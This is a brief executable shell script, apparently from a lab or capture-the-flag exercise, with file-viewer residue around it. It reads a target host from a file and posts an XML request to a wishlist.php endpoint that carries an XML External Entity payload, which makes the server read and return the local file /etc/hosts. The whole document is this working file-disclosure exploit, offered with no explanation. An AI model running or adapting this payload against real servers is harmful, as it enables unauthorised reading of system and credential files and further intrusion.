13 lines
305 B
Bash
Executable File
13 lines
305 B
Bash
Executable File
#!/bin/sh
|
|
target=`cat trgt`
|
|
curl -iH 'Content-Type: application/xml' "http://$target/wishlist.php" \
|
|
-d '<!--?xml version="1.0" ?-->
|
|
<!DOCTYPE foo [<!ENTITY payload SYSTEM "/etc/hosts"> ]>
|
|
<wishlist>
|
|
<user_id>1</user_id>
|
|
<item>
|
|
<product_id>&payload;</product_id>
|
|
</item>
|
|
</wishlist>'
|
|
|